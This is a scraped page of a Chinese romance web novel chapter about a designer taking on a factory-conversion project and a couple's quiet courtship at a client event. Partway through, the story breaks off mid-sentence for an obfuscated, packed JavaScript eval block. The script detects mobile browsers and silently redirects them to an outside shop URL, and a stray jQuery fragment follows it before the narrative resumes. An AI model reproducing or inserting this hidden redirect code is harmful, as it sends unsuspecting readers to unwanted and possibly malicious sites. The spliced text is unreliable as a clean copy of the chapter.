文趣网 > 其他小说 > 我在霸总文里养宠 > 57. 第 57 章
    九月中旬,林溪接到了一个电话。

    电话那头是去年民宿项目的那对年轻夫妻里的妻子,她说自己正在筹备一个更大的项目——一栋三层的老厂房改造成复合型文化空间,包含书店、咖啡、展览和小型剧场。

    她问林溪愿不愿意做这个项目的全案设计。

    林溪接到电话的时候正在自己工作室改一份方案,听到"三层老厂房"和"复合型文化空间"这几个词的时候她手里的笔停住了。

    她听完了对方的初步介绍,然后说:"我把方案概念想好之后发你。大概需要两周。"

    挂了电话之后她坐在椅子上没有动,看着窗外发了将近十分钟的呆。然后她站起来走到白板前面,拿起笔开始画。画了第一笔的时候她把笔放下了,拿起手机给沈知意打了一通电话。

    "知意。"她的声音有点抖,"我接了一个大项目。三层老厂房改文化空间。"

    沈知意那边安静了两秒,然后说:"多大?"

    林溪深吸一口气:"一千八百平。"

    电话那头安静了更长的时间。

    然后沈知意的声音响起来,比平时慢了一点:"那你现在的团队能不能支撑这个体量的项目?"

    林溪站在白板前面,看着自己刚画的那第一笔线条在板面上干涸成一道浅蓝色的痕迹。她说:"我现在的人不够。需要再招一个施工图深化和一个灯光设计师。"

    沈知意那边没有犹豫:"那你招。招人的预算走你工作室的账还是我这边垫?"

    林溪握着手机,站在午后的阳光里,窗外的九月天蓝得透彻。她说:"走我自己的账。我去年赚的钱够招两个人。"她说出口的时候发现自己说这句话的时候声音是稳的,没有抖。

    沈知意那边传来一声很轻的笑:"那你招完了之后,方案初稿发我看一眼。"

    林溪用力点了一下头:"好。"

    电话挂了之后林溪站在白板前面,重新拿起笔,在那道浅蓝色的线条旁边画了第二笔。

    这一次她画得很稳,笔尖在板面上划过的声音清晰而连贯。

    她画完一条线之后退后半步看了看,然后低头看了一眼手机屏幕上那通通话记录——三分钟。她把手机放回桌上,重新抬头看白板,笔尖继续移动。

    下午下班的时候周承来接她,站在工作室门口看着她还在白板前面画,没有催她。他靠在门框上等了两分钟,林溪才发现他来了。

    "走吧。"她把笔放下,转身去拿包。

    周承看着她走过来的时候说:"你今天画板的时候,画得比以前快。"

    林溪走到门口,抬头看了他一眼:"因为我脑子里已经想好了。"

    她走出工作室,九月的风从走廊尽头的窗户吹进来,把她的头发吹动了一下。她伸手把头发别到耳后,然后跟周承一起往电梯口走。

    两个人走在走廊里的时候影子被斜阳拉得很长,在地上并排伸展着。

    九月末,陈砚给沈知意发了一条正式的邀请消息。内容是:"十月第二个周末,城南项目的业主答谢会。我想请你以特邀嘉宾的身份出席。不是站在旁边,是坐在主桌上。"

    沈知意看到那条消息的时候正在家里沙发上翻一本新买的行业杂志。

    她把消息看了两遍,然后回了一句:"主桌上还有谁?"

    陈砚那边回得很快:"项目核心团队、投资方代表、两个重要供应商的负责人。你坐我右边。"

    沈知意看着"你坐我右边"五个字,把手机放在膝盖上,靠着沙发想了一会儿。

    窗台上那排植物在夜色里安静地站着,秋天的薄荷叶片已经开始变厚了,边缘微微内卷,颜色比夏天深了一度。她看着那排植物,然后拿起手机回了一条:"那我穿什么颜色的?"

    陈砚那边过了好几秒才回,回的是:"你穿什么都行。但如果你穿浅色,跟我站在一起会好看。"

    沈知意看着那行字,把手机放在茶几上,站起来走到窗台前。

    九月的夜风从窗缝里钻进来,带着秋天特有的干爽和清冷。

    她伸手碰了一下薄荷的叶片——比夏天的厚实了一点,边缘有一点点干卷,但气味还是清凉的。她碰完之后收回手,走回沙发坐下,重新拿起手机回了一句:"那穿浅色。"

    陈砚回了一个字:"好。"

    十月第二个周末,城南项目的业主答谢会在项目园区里的会所举行。

    场地布置得低调温暖——暖色灯光、原木长桌、鲜花错落有致地摆放在各处。

    沈知意穿了一身浅米色的连衣裙,到的时候看到主桌上已经坐了七八个人。

    陈砚站在桌边正在跟人说话,看到她走进来的时候他对话讲到一半停了一瞬,然后继续说完,侧身示意服务员把右边的椅子拉开。

    沈知意走过去坐下来。椅子拉开的角度正好,椅背朝向的角度也正好,坐下来之后视线正好对着主桌正前方的投影屏幕。陈砚在她旁边落座的时候低声说了一句:"浅色好看。"

    沈知意端起面前的水杯喝了一口:"你说的是'好看',不是'合适'。"

    陈砚正在伸手调整自己面前的水杯位置,动作顿了一下,然后他侧头看了她一眼:"合适也好看。"

    沈知意没有再追问。

    她转过视线看向台上正在放的项目回顾视频,嘴角的弧度在灯光下很浅,但一直保持着。

    答谢会持续了两个小时,中间有业主代表发言、项目团队分享、投资方致辞。

    沈知意坐在主桌右侧的位置上,从头到尾没有上台发言,但中间有三次不同的人侧过头来跟她打招呼、递名片、说"久仰"。她都一一回应了,每次回应的语速适中、措辞精准。

    散会之后人群往外走,沈知意站在会所门口等陈砚送完最后一波客人。

    夜风吹过来,十月了,比九月凉了不少。她拢了一下外套,陈砚从身后走过来,手里拿着两杯热茶。他递了一杯给她:"跟服务员要的。"

    沈知意接过那杯茶,掌心贴着温热的杯壁。

    她喝了一口——不是茶,是蜂蜜水,温度刚好不烫。"你怎么跟服务员说要什么?"

    陈砚端着另一杯站在她旁边:"我问她'哪种热的喝起来让人不想走'。她给我泡了这个。"

    沈知意端着那杯蜂蜜水没有说话。

    两个人站在会所门口的灯光下,夜风从面前的空地上吹过来,带着草坪剪过之后残留的青草气息。她低头又喝了一口蜂蜜水,然后说:"今天的答谢会做得不错。你在台上的时候语速是之前所有发言里最慢的一次。"

    陈砚看着她:"因为你在下面坐着。"

    沈知意端着杯子,侧头看了他一眼:"你每次发言的时候都会看我坐的位置吗?"

    陈砚站在夜风里,双手端着那杯蜂蜜水,目光落在她脸上:"每次都会看一眼。确认你在。"

    沈知意没有接话。

    她转回头看着前方的夜色,又喝了一口蜂蜜水。然后她把杯子放下,说了一句:"那下次你在台上的时候,我坐在前排中间。"

    陈砚站在她旁边,夜风把两个人的衣摆都吹动了,幅度相同。

    他开口说:"那我下次发言的时候,就可以不用转头去找了。"

    沈知意弯了一下嘴角,没有回答。

    她转身往停车场的方向走,走了一步之后听到身后传来脚步声跟上来。

    两个人走在十月的夜风里,路灯把两道影

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17837936|211527||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    子投在地面上,并排着,往同一个方向延伸。这次影子之间的距离比上次近了一些,从一掌宽缩成了半掌宽。

    走到车旁边的时候沈知意拉开车门之前回头看了他一眼:"蜂蜜水不错。下次要一杯。"

    陈砚站在路灯下面,手里还端着那杯喝了一半的蜂蜜水:"好。下次提前备着。"

    沈知意弯腰坐进车里。

    发动引擎之后她从后视镜里看了一眼——陈砚还站在路灯下面,手里端着那杯蜂蜜水,目光落在她停车的方向。她踩了油门,车子驶离。

    后视镜里的身影站在原地没有动,路灯把他的轮廓镀成暖黄色。

    沈知意开着车,单手握着方向盘。另一只手的掌心里还残留着杯壁的温度,温热的,在十月的夜风里慢慢散掉。但那个温度在掌心留存的时间比她自己以为的长。

    十月下旬,沈知意做了一件事。

    她把自己办公室里那排窗台上的植物重新排列了一次——绿萝和薄荷放在最中间,罗汉松和文竹分列两侧,虎皮兰放在最靠左的位置,三只水杯并排靠右,那只新插的薄荷放在最末尾。

    排完之后她退后两步看了看,然后拍了一张照片。

    她打开手机相册翻到去年这个时候的照片对比了一下——那时候窗台上只有三样东西:一盆绿萝、一盆薄荷、一只水杯。现在有九样了。她把两张照片拼在一起,保存。

    然后她坐在办公桌前,看着窗外十月的天空。

    天很高,云淡而薄,阳光从西边斜照进来,落在窗台上那排植物的叶片上,每一片叶子都在光里泛着属于自己的绿色。

    绿萝的深绿、薄荷的鲜绿、罗汉松的苍绿、文竹的浅绿、虎皮兰的墨绿——九种深浅不一的绿色在同一个窗台上并排站着,被同一片阳光照着。

    她看着那一片颜色,低头打开电脑,在桌面上新建了一个文件夹,命名为"第二年"。然后她开始打字。

    她打的第一行字是:"知意科技第二年战略规划——从覆盖到定义。"

    她打完这行字之后停了一下,抬头又看了一眼窗台上那排植物。

    十月的阳光在叶片之间移动着,光影在窗台上缓慢地滑过。她看了一会儿然后低头继续打字。窗外的天在变暗,但阳光还没有完全离开她的窗台。

    最后一道光落在薄荷的叶尖上,停留了一会儿,然后慢慢移走了。

    她放下笔,靠在椅背里,看着窗外暮色中的城市轮廓。

    手机亮了一下,她拿起来看——陈砚的消息,是一张照片,拍的是他窗台上的五样东西在十月傍晚的光里投下的影子。照片底下跟了一句话:"我也排了一下。数量少,但位置对了。"

    沈知意看着那张照片上那五道整齐的影子,又抬头看了一眼自己窗台上那九道影子。

    数量不一样,但排列的方式是一样的——每样东西之间的间距均匀,最矮的放在最左边,最高的放在中间偏右,水杯放在最右边。

    她看了很久,然后把两张照片并排放在手机屏幕上。

    九道影子和五道影子在同一个傍晚的光线里,各自排成整齐的队列。

    她回了一条:"看到了。位置对了。"

    然后她把手机放下,重新打开电脑,继续打那份战略规划。

    窗外的十月天正在从暮色变成夜色,远处城市的灯火零零星星地亮起来。窗台上的植物在逐渐变暗的光线里收起了叶片的绿色,退成一道道深色的剪影。但她没有开灯。

    她坐在逐渐暗下去的光线里继续打字,屏幕的光照在她脸上,把她的轮廓在黑暗里勾出一道明亮的边缘。

    她敲键盘的声音在安静的办公室里清晰地回响着,一个字接一个字,节奏稳定,没有中断。